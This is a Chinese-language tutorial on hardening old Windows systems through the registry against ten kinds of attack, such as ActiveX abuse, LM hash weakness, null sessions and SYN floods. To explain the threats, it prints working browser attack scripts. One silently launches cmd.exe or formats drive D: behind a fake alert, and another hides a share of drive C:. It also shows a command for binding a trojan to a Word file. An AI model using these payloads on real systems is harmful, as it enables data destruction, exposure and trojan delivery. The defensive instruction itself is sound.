目前,针对Windows的攻击方式越来越多,除了黑客攻击手段越来越多,用户未能给系统及时打上补丁也是一个重要的原因。除了打补丁以外呢?我们还应该注意些什么呢?其实,在现有的条件下,修改注册表把其中的漏洞都堵上,也未尝不是一个好方法,本文讲述的正是这个问题,教你修改注册表防范十大攻击。
ActiveX漏洞防范方法 WORD执行木马漏洞防范方法
IE6的执行任何程序漏洞防范方法 IE的ActiveX控件被绕过漏洞防范方法
浏览网页硬盘被共享漏洞防范方法 防止LM散列被破解
防范共享入侵 禁止空连接
防范脚本病毒攻击 防范其他攻击
1、ActiveX漏洞防范方法
ActiveX漏洞主要针对IE5.5(含)及其以下版本,对OE、Outlook、Foxmail等也有着巨大的威胁。概况说来,就是把com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记可能导致任意创建和解释执行ActiveX对象,从而可以创建任意文件,运行程序,写注册表。举个例子,在嵌入com.ms.activeX.ActiveXComponent对象后,在IE的默认安全级别“中”状态下,打开包含以下脚本的HTML文件也会运行一个命令提示符,但没有任何警告。甚至还可以使程序在后台运行,这就要“归功”于嵌入的com.ms.activeX.ActiveXComponent对象了,正是它导演了这一幕!具体代码如下:
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe');//改为"wsh.Run('cmd.exe',false,1);"则程序在后台隐藏运行
}
setTimeout('runcmd()',10);
</SCRIPT>
运行的结果会打开一个命令提示符,但整个运行过程中没有任何提示。如果你还没有意识到这有多么危险,那么请你注意了,如果我们把将上面的代码“wsh.Run('cmd.exe');”改为下面这两句(其它的不变):
wsh.Run('start/m format.com d:/q/autotest/u');
alert('IMPORTANT : Windows is removing unused temporary files.');
这样做的结果又会怎么样呢?呵呵,你的D盘要被格式化了!听到硬盘狂响,大多数人会以为Windows正在移除临时文件,因为屏幕上显示:IMPORTANT: Windows is removing unused temporary files.,其实这是个幌子,用来欺骗我们的!此时在后台进行的是格式化硬盘命令!等到发觉则悔之晚矣……
修改注册表的防范方法:
禁用WSHShell对象,阻止运行程序。删除或更名系统文件夹中的wshom.ocx文件或删除注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
2、WORD执行木马漏洞防范方法
利用WORD来隐藏木马是最近才流行起来的一种方法。方法是新建一个DOC文件,然后利用VBA写一段特定的代码,把文档保存为newdoc.doc,然后把木马程序这个DOC文件放在同一个目录下,运行如下命令:copy /b xxxx.doc+xxxxx.exe newdoc.doc把这两个文件合并在一起(在Word文档末尾加入木马文件),如图1所示只要别人点击这个所谓的Word文件就会中木马!其中,参数“/b”表示你所合并的文件为二进制格式的。如果是文本文件则加上参数“/a”,代表是ASCII格式。
不过,以上方法能得以实现的前提是你的WORD2000安全度为最低的时候才行,即HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security中的Level值必须是1或者0。大家知道,当Level值为3的时候(代表安全度为高),WORD不会运行任何宏;Level值为2时(安全度中),WORD会询问你是否运行宏;Level值为1的时候(安全度低),WORD就会自动运行所有的宏!聪明的你一定想到如果这个值为0的时候会怎么样?哈,如果设为0的话,WORD就会显示安全度为高,但却能自动运行任何的宏!是不是很恐怖啊?
要想把WORD的安全度在注册表中的值改为0,方法非常多,利用网页恶意代码修改浏览者的注册表就可以。我想这方面大家都有很多经验,就不多说了。对于这种欺骗方式,最重要的是小心防范,陌生人的附件千万不要收看!网上的链接也不要随意点击,如要点击请确认是否为.DOC文件,如是则一定不要直接点击查看!
3、IE6的执行任何程序漏洞防范方法
对于使用IE6.0的用户来说有个可怕的漏洞,该漏洞的存在导致可以在网页中执行任何程序,并可以绕过IE的ActiveX安全设置,即便你禁用ActiveX控件,网页中的恶意程序照样可以运行!举个例子,如果网页中含有下列代码,可以无声无息地执行你的记事本程序!想想看,如果这里不是记事本程序,换作其他的程序会怎么样?代码如下:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
/注意:上面的notepad.exe的路径请修改为你系统对应的路径document.body.innerHTML=html;
</SCRIPT>
这个漏洞的主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。
解决办法:挖出IE的本地安全设置选项。打开注册表编辑器,顺次展开到:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”图标,在这里你可以对IE的本地安全进行配置。修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。
另外,打了补丁之后,会弹出一个对话框,并拒绝运行该网页中所含的程序,所以经常给自己的电脑打补丁是必不可少的。
4、IE的ActiveX控件被绕过漏洞防范方法
虽然说IE提供对于"下载已签名的ActiveX控件"进行提示的功能,但是恶意攻击代码会绕过IE,在无需提示的情况下下载和执行ActiveX控件程序,而这时恶意攻击者就会取得对系统的控制权限。如果要屏蔽此类黑手,可以打开注册表编辑器,然后展开如下分支:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\,请为Active Setup controls创建一个基于CLSID的新键值{6E449683_C509_11CF_AAFA_00AA00 B6015C},然后在新键值下创建一个REG_DWORD类型的键Compatibility,并设定键值为0x00000400即可。
5、浏览网页硬盘被共享漏洞防范方法
浏览网页硬盘被共享,也是一个常见的漏洞,受害者都是在浏览了含有有害代码的ActiveX网页文件后中招的。以下是其原代码中的关键部分:
<script language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
<!--ActiveX初始化过程-->
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",302,"REG_DWORD");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function init()
{
setTimeout("f()", 1000);
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
}
init();
</script>
注意:以“Shl.RegWrite”开头的这几句代码的作用是写入浏览者的注册表,在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面添加键值“RWC$” ,在RWC$”下又分别建立键值“Flags”、“Type”“Path”,这样就把C盘设为共享了,共享名为RWC$。而且你在网络属性中还看不到硬盘被共享了!如果把"Flags"=dword:00000302改成"Flags"=dword:00000402就可看到硬盘被共享。
解决办法:把系统所在目录下的system子目录下面的Vserver.vxd文件(Microsoft 网络上的文件与打印机共享虚拟设备驱动程序)删掉,再到注册表中,把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\下的Vserver键值删掉即可。
6、防止LM散列被破解
尽管Windows的大多数用户不需要LAN Manager的支持,微软还是在Windows NT和2000系统里缺省安装了LAN Manager口令散列。由于LAN Manager使用的加密机制比微软现在的方法脆弱,LAN Manager的口令能在很短的时间内被破解。LAN Manager散列的主要脆弱性在于:
1.长的口令被截成14个字符
2.短的口令被填补空格变成14个字符
3.口令中所有的字符被转换成大写
4.口令被分割成两个7个字符的片断,像这样:
--------------------------------------------------------
| 1st 8bytes of LM hash | second 8bytes of LM hash |
--------------------------------------------------------
from first 7 charsfrom second 7 chars
事实上,这就意味着口令破解程序只要破解两个7个字符的口令,并且不用测试小写字符情况即可获得成功。另外,LAN Manager容易被侦听口令散列,侦听可以为攻击者提供用户的口令。Win2000引入了有趣的方法,14个字符的限制被增加到127个,但为了向后兼容仍然使用LAN Manger散列算法,这样,对于与NT相同类型的攻击,密码依旧很脆弱。而且,如果您的整个操作系统环境中有不支持密码长度超过14个字符的非Win2000客户端,您可能会被这种限制搞糊涂。
有两种方法可以用来防止LM散列的密码被破解。第一种方法是取消LAN Manger在整个网络的鉴定功能,使用NTLMv2。NTLMv2(NT LanManager version 2)的认证方法克服了LAN Manger的大部分脆弱性,使用了更强健的编码,并改进了认证的安全机制。
从Windows NT 4.0 SP4及以后的系统,包括Windows 2000,微软使得我们在网络上只使用NTLMv2成为可能。在Windows NT和2000中这个功能在注册表中的控制键是HKLM\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel。如果你把它的值设置成3,工作站或服务器将只使用NTLMv2信任证书进行认证。如果设置成5,任何域控制器将拒绝LM和NTLM的认证而只接受NTLMv2。
如果在你的网络里还有象Windows 95那么“老”的操作系统,必须得小心些,因为那些旧的系统无法在微软网络客户端使用NTLMv2。在Win9x中,该键值是
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\LMCompatibility,它只接受0到3的值(目录服务客户端)。最安全的做法是除去旧的系统,因为它妨碍你为你的组织提供所需的最低安全标准。
简单的删除网络LanMan散列带来的问题是,在SAM或Active Directory中散列还会产生和存储。微软提供了一次性取消LanMan散列防止再生的方法。在Windows 2000上,找到下面注册键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,在注册表编辑器RegEdit的菜单中选择Edit,单击Add键,加入一个名为NoLMHash的键值。然后,退出注册表编辑器,重启计算机。下次用户改变口令时,计算机就不会再产生LanMan散列。如果这个键是在Windows 2000域控制器上产生的,LanMan散列就不会被生成并存储在Active Directory。
在Windows XP中同样的功能可以通过设置键值来完成。在注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa下建立一个名为“NoLMHash”的DWORD值,并将其键值改为1即可,这和Windows 2000中生成NoLMHash键的效果是一样。
7、防范共享入侵
大家知道,如果系统的139端口开放,则计算机就会泄露你的机器的一些信息,其中第一行中的NB便是这台计算机的机器名,WORKGROUP则说明这台机器是工作组模式。最后一行还列出了机器的MAC地址(网卡地址)。
事实上,对于Windows9x来说,共享入侵的实现离不开139端口的开放,而对于Windows 2000来说,在查看共享资源的时候,系统会先尝试连接139端口。如果139端口关闭的话,就会尝试445端口的连接(在黑客进行IPC$入侵时同样离不开它们),所以防范共享入侵不仅要关闭139端口,还要关闭445端口。把它们都关闭就可以防范别人通过共享来入侵你的电脑,同时也可以防止别人通过IPC$入侵,因为IPC$入侵也离不开139和445端口的支持。
关闭139端口非常简单,通过防火墙来屏蔽NetBIOS对应的139端口,这样别人就无法攻击我们了。而关闭445端口,则可以通过修改注册表来实现,方法是:在“开始”菜单的“运行”中输入regedit,打开注册表编辑器。然后展开到这里:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters,在它的下面新建一个DWORD值SMBDeviceEnabled,其键值为1即可
8、禁止空连接
空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use \\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放IPC$)。留着不放心,还是禁止掉的好!这一步可以通过批处理来进行,方法是用记事本新建一个文本文件,输入如下内容:
@echo REGEDIT4>>del.reg
@echo.>>del.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>del.reg
@echo "RestrictAnonymous"=dword:00000001>>del.reg
@REGEDIT /S /C del.reg
另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。当然,我们也可以手动来禁止空连接,到注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA下,将DWORD值RestrictAnonymous的键值改为1即可,效果是一样的。需要指出的是空连接和IPC$是不同的概念。空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。IPC$是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限。使用命令net use \\IP\ipc$ "" /user:""就可以简单地和目标建立一个空连接(需要目标开放IPC$)。
9、防范脚本病毒攻击
脚本病毒是常见的病毒之一,它们的传播速度非常快,主要是通过邮件来传播,由于编写简单,修改容易,所以只要有一个脚本病毒出现,立刻就会出现众多变种,非常令人头疼。其实通过修改注册表也可以简单的防范脚本病毒。下面说说防范方法。
由于脚本病毒的执行离不开WSH(Windows Script Host),它的代码是通过WSH来解释执行的。所以只要卸载WSH自然可以防范脚本病毒。但是WSH的功能实在是太强大了!所以,如果你不忍心删除它或还需要WSH,可以使用下面这个修改注册表的方法,之后就可以鱼和熊掌兼得了!
其实,为了避免Windows对脚本不加限制的滥用,微软为Windows脚本宿主5.6采用了一种新的安全模型。使得脚本用户在运行脚本之前验证其真实性。脚本开发人员对其脚本进行签名,以免发生未经授权的修改。管理员可以强制实施严格的策略,确定哪些用户有权在本地或远程运行脚本。在Windows 2000中,签名验证策略是通过“本地安全策略”编辑器设置的。签名验证策略注册表项位于以下配置单元:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows ScriptHost\Settings\TrustPolicy,该注册表项设置为以下某个REG_DWORD值:如果为0则运行所有的脚本,如果认为脚本不可信,则提示用户,此时键值可设为1,如果键值为2则只运行可信脚本。建议将该DWORD值设为1。
10、防范其他攻击
修改注册表还可以防范许多攻击,比方说我们可以:
(1)关闭Windows默认共享
用过Windows 2000的朋友一定知道,默认的情况下,硬盘中所有逻辑分区都是被设置成共享的,所以有必要关闭这类不用的共享。首先先把已有的IPC$和默认共享都删除删除(默认共享是为了方便远程管理而开放的共享,包含了所有的逻辑盘c$,d$,e$……和系统目录Winnt或WindowsADMIN$),输入:
net share ipc$ /del
net share admin$ /del
net share c$ /del
net share c$ /del
…………
然后,用记事本编辑如下内容的注册表文件,保存为任意名字的.Reg文件即可:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer"=dword:00000000
"AutoSharewks"=dword:00000000
注意,在最后面一定要空上一行才行!
(2)防范WinNuke黑客程序的攻击
WinNuke是一个破坏力极强的黑客程序,该程序能对计算机中的Windows系统进行破坏,从而会导致整个计算机系统瘫痪,我们可以修改注册表来防范它。展开注册表到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP,在对应MSTCP键值的右边窗口中新建一个DWORD值,将它命名为“BSDUrgent”,然后将BSDUrgent的键值设为0,如何重新启动计算机后就可以了。
(2)防止ICMP重定向报文的攻击
ICMP是Internet Control Message Protocol的缩写,意即网际控制报文协议,ICMP用来发送关于IP数据报传输的控制和错误信息的TCP/IP协议。ICMP攻击主要是指向装有Windwos操作系统的机器发送数量较大且类型随机变化的ICMP包,遭受攻击的计算机会出现系统崩溃的情况,不能正常运作。修改注册表可以防范重定向报文的攻击,方法是打开注册表,展开到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,将DWORD值EnableICMPRedirects的键值改为0即可。该参数控制Windows 2000是否会改变其路由表以响应网络设备发送给它的ICMP重定向消息,Win2000中默认值为1,表示响应ICMP重定向报文。
(3)防止IGMP攻击
IGMP是Internet Group Management Protocol的缩写,意即Internet群组管理协议,这种TCP/IP协议允许Internet主机参加多点播送——一种向计算机群广播信息的有效手段。IGMP攻击是指向装有Windows操作系统的机器发送长度和数量都较大的IGMP数据包,使得遭受攻击的主机蓝屏下线(Win2000虽然没这个bug了,但IGMP并不是必要的)。我们可以修改注册表,使得系统停止对IGMP协议的响应,以此来防范这种攻击。方法是打开注册表,展开到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,将DWORD值IGMPLevel的键值改为0即可(默认值为2)。
(4)防止SYN洪水攻击
SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间和路由缓存项资源分配延迟,直到建立连接为止。修改注册表防范SYN洪水攻击的方法是打开注册表,展开到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,将DWORD值SynAttackProtect的键值改为2即可(默认值为0)。如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止。注意,仅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried设置超出范围时,保护机制才会采取措施。
好了,到了这里本文就要结束了,网络的安全管理的在于加强防范意识,同时安全的基础知识也是必须学习。